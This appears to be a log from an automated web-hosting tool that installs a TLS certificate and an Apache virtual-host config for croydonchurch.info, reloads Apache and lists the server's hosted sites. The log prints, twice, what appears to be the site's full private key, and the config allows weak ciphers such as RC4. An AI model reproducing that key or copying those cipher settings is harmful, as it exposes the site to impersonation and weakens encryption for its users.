xTLvaKamjpl2SFysAKKyL9CUvs+Itn98ccoHSxbb0QKBgQDazt5/s6SYK9sLgndN
28r0uJm5ln9ghEhtbM2kqJAqtzryXx7QwNgpBAM4lhotO2rLCXG1R/AZAaascFkC
6RdwZoQSeIse4b/bGHZkQmr+BuPfThSNPkDcpDg5jphCm8eslSZCksKqLQjkT9+T
xSbEHjNaeoEeg5axxiR27GazXwKBgQDOVSgxajsnLa3a7T1JcM+YBwJoIiQ8TIZ9
JyER+FEN0AgTjEQCkVsG1b4rop9j1XzwZ5xdfhWT775lpzSS9KblNtuIy26ebEx+
+xErjYAlkliG1BwgPKKgby3pZFUdtCgKPuPoXvna30qBuWPc6EqTX8ZZxPow1S21
9itZfTlh9wKBgE+RWqflk70idY1B7FCL1MoZNw2eBMP8Vro0DrQJ+CMQbockv/f5
qKGBrAovy2UXbkZXMNpTRqRRTWL3l+bPDI77OJve6fhY74Ok6aib3nxx1PunUSHr
uXqC3U9Q412VeI7xze/3noJzzf/4a704vFglA1erpLiL8YjEHQ6B+PbRAoGBAMmW
jaRp481NZdTFgOFl5IzmHEXdRYXcRnG0byz9bUOPgrSGkFPp7ANrhVdglVWW2XCP
6ke1ziMxUtZCXK1PdlfwFuE50KPbr4lIhugEYbVTnEZuqeQdGc6hkTu8GSTiRVRt
SYJYeMiM7GB93sGP+nyuUD6YotBfFz/2eTf/jrbVAoGADpWTblSZy7AqZDcV5iCQ
kzBXZAC9X3wt3GNbxdaa+anBdQKOsn/A6EfwVtquu0dcHZYHqclAz68+WgYXBaOx
+lO2ZOrQtJwHZxbAVKYgGbsNKiI5EPlvKMPaQ8msnj3z/hnMrB9thZjx+1TvibrA
wZ4b1I6LkaMvDKBPZhQpDhM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-08 06:00:31:
chmod 755 /tmp/pkp953403; /tmp/pkp953403; rm /tmp/pkp953403
2025-09-08 06:00:31:
dir=/etc/ssl/certs
2025-09-08 06:00:31:
PUT: /tmp/pkp906593
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/croydonchurch_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-08 06:00:31:
chmod 755 /tmp/pkp906593; /tmp/pkp906593; rm /tmp/pkp906593
2025-09-08 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 46
<VirtualHost *:80>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-08 06:00:31:
PUT: /tmp/pkp100295
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=croydonchurch_www_info.conf
TARGET=/etc/apache2/sites-enabled/croydonchurch_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/croydonchurch_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/croydonchurch_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/croydonchurch_www_info.conf= 1'
fi
2025-09-08 06:00:31:
chmod 755 /tmp/pkp100295; /tmp/pkp100295; rm /tmp/pkp100295
2025-09-08 06:00:31:
2025-09-08 06:00:31:
PUT: /tmp/pkp246202
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-08 06:00:31:
chmod 755 /tmp/pkp246202; /tmp/pkp246202; rm /tmp/pkp246202
2025-09-08 06:00:31:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-08 06:00:31: Establishing a connection
2025-09-08 06:00:31:
PUT: /tmp/pkp115802
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-08 06:00:31:
chmod 755 /tmp/pkp115802; /tmp/pkp115802; rm /tmp/pkp115802
2025-09-08 06:00:31:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
alias www.realchrist.info
port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-08 06:00:31:
PUT: /tmp/pkp694460
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/croydonchurch_www_info.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-08 06:00:31:
chmod 755 /tmp/pkp694460; /tmp/pkp694460; rm /tmp/pkp694460
2025-09-08 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/croydonchurch_www_info.conf 1429
<VirtualHost *:80>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_error.log
SetEnv pkp_uid 41
SetEnv pkp_owner carelinks
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName croydonchurch.info
ServerAlias www.croydonchurch.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt
DocumentRoot /var/www/croydonchurch_www
<Directory /var/www/croydonchurch_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/croydonchurch/www_secure_access.log combined
ErrorLog /var/log/apache2/croydonchurch/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-08 06:00:32:
PUT: /tmp/pkp710040
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-08 06:00:32:
chmod 755 /tmp/pkp710040; /tmp/pkp710040; rm /tmp/pkp710040
2025-09-08 06:00:32:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0bcccb20615b0c7868de66072345a8b6.crt 5386
70:b6:7b:c9:40:c6:98:a4:a7:2e:b0:f2:ba:4f:50:3a
-----BEGIN CERTIFICATE-----
MIIFFzCCA/+gAwIBAgISBi5hvyT2dhpBqAw7vwSGrPBOMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTA4MDUwMjAwWhcNMjUxMjA3MDUwMTU5WjAdMRswGQYDVQQD
ExJjcm95ZG9uY2h1cmNoLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCwW0AVMh3Z56HHAnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1
j77y2r40d6g7gbdSBScHw4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd
4RXBh6ine1Gxcsz2KGxmVUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPw
qk8AlQUQkc6BVrfwjVAv46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qn
ZzkpQ0umUj8ICTDTm5MDS7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H
1zsZNt1WKK5bpDJl8MIGV8tUNQ+pAgMBAAGjggI5MIICNTAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFMevk5OIdGKTMQK/2+5pbsAUCoxWMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wNQYDVR0RBC4wLIISY3JveWRvbmNodXJjaC5p
bmZvghZ3d3cuY3JveWRvbmNodXJjaC5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzkuY3Js
MIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHYAzPsPaoVxCWX+lZtTzumyfCLphVwN
l422qX5UwP5MDbAAAAGZJ+ljRAAABAMARzBFAiEA0FDDr6LQkDgh3UQAtPjKypis
X9IqLhn/iO9Y5v+SYwACIBUG0xT6DfBqSysAEqcmivm6a6tt/rbtEc5CBra6mDb0
AHUADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDvDkIetH5OqjQAAAGZJ+ljLwAABAMA
RjBEAiBdaWfMMlira4PfPyO8mFuOo01+8IE4m8fQBx+CvUxYtAIgaemfrwQO07X+
SV2CuZVV/Jt4Cjxmu/488gIdQo8TDC4wDQYJKoZIhvcNAQELBQADggEBAAxJKmGc
o0S1LtXo13gPDyedhc01omNnlIp6oMc5T+5FJQhN4rPdepCb9njXny1IvgM48RUw
xIOTvEpckiwxnQQFpG2jrKF3K0DboO8fxKahhm3XYx6XgVTD7PG7pyQ3dejfJ6Od
45s3kHkAeTfMmzVXDCy6eUfPqIrEa5c8yp/6QyOEo28sItxa38nxnznH1p4OSELd
qOjk7PmaACGYaUvOVHPGLjD3t3jl1p33wTQxBgN+tf6ApO//bUC+La4+JykYdWI3
de9XTyrIupnp1j4gLxaAUIdaOKT8JLOf91VKfvTZhqzT8vzNOZtC6LOIsbVAF2pT
L5h/TKhxRauCSAQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCwW0AVMh3Z56HH
AnqY994rqILq/DYvaWjonTLY7DiMbZ5/9uKg3EzguYQ1j77y2r40d6g7gbdSBScH
w4/mOw6JDeVidwlvJDK/A1cZtYU6F/xaF2pWeRd29YGd4RXBh6ine1Gxcsz2KGxm
VUlgoQyWBY4Bix/dTls4kj3B2ztUQ1KlU/XAIiRgMIPwqk8AlQUQkc6BVrfwjVAv
46+ARvH/B4mPwJFwdNkYYJdDD+I+Fg+rt6fJdp5vc8qnZzkpQ0umUj8ICTDTm5MD
S7szsHhbnZgfPhDThze/7TVnLQ3ER+nw3ZreJMrFU8+H1zsZNt1WKK5bpDJl8MIG
V8tUNQ+pAgMBAAECggEAAXmB26uDnGLXc3aN1+Gatfq+vYBGY7cZ7XgDCNVQ07vG
64MA+h9ddTOX62q8SgOSO5YUjgrToZfxb5svBNnRkUvQczZTmd5PnlFE1S4zYvz4
Wzh+5yI0FAaRguRy7h9YRa4+TKGNHTHRVjm4V1qBZG+/dDvZlFwnXx257nkK0fWK
mU4wGLs9ZQTZyE5FrveVMfgb7cGxpF5PMzKlMhkDqAC4qRMvl8ksxR1Hq/p0y0/r
3GG2oUS8gDVXTbygJO2DsSd2Pxlx+dfsvfSB+F+aCdYOOPN3tTIJSZAHk3lE1gg2
xTLvaKamjpl2SFysAKKyL9CUvs+Itn98ccoHSxbb0QKBgQDazt5/s6SYK9sLgndN
28r0uJm5ln9ghEhtbM2kqJAqtzryXx7QwNgpBAM4lhotO2rLCXG1R/AZAaascFkC
6RdwZoQSeIse4b/bGHZkQmr+BuPfThSNPkDcpDg5jphCm8eslSZCksKqLQjkT9+T
xSbEHjNaeoEeg5axxiR27GazXwKBgQDOVSgxajsnLa3a7T1JcM+YBwJoIiQ8TIZ9
JyER+FEN0AgTjEQCkVsG1b4rop9j1XzwZ5xdfhWT775lpzSS9KblNtuIy26ebEx+
+xErjYAlkliG1BwgPKKgby3pZFUdtCgKPuPoXvna30qBuWPc6EqTX8ZZxPow1S21
9itZfTlh9wKBgE+RWqflk70idY1B7FCL1MoZNw2eBMP8Vro0DrQJ+CMQbockv/f5
qKGBrAovy2UXbkZXMNpTRqRRTWL3l+bPDI77OJve6fhY74Ok6aib3nxx1PunUSHr
uXqC3U9Q412VeI7xze/3noJzzf/4a704vFglA1erpLiL8YjEHQ6B+PbRAoGBAMmW
jaRp481NZdTFgOFl5IzmHEXdRYXcRnG0byz9bUOPgrSGkFPp7ANrhVdglVWW2XCP
6ke1ziMxUtZCXK1PdlfwFuE50KPbr4lIhugEYbVTnEZuqeQdGc6hkTu8GSTiRVRt
SYJYeMiM7GB93sGP+nyuUD6YotBfFz/2eTf/jrbVAoGADpWTblSZy7AqZDcV5iCQ
kzBXZAC9X3wt3GNbxdaa+anBdQKOsn/A6EfwVtquu0dcHZYHqclAz68+WgYXBaOx
+lO2ZOrQtJwHZxbAVKYgGbsNKiI5EPlvKMPaQ8msnj3z/hnMrB9thZjx+1TvibrA
wZ4b1I6LkaMvDKBPZhQpDhM=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
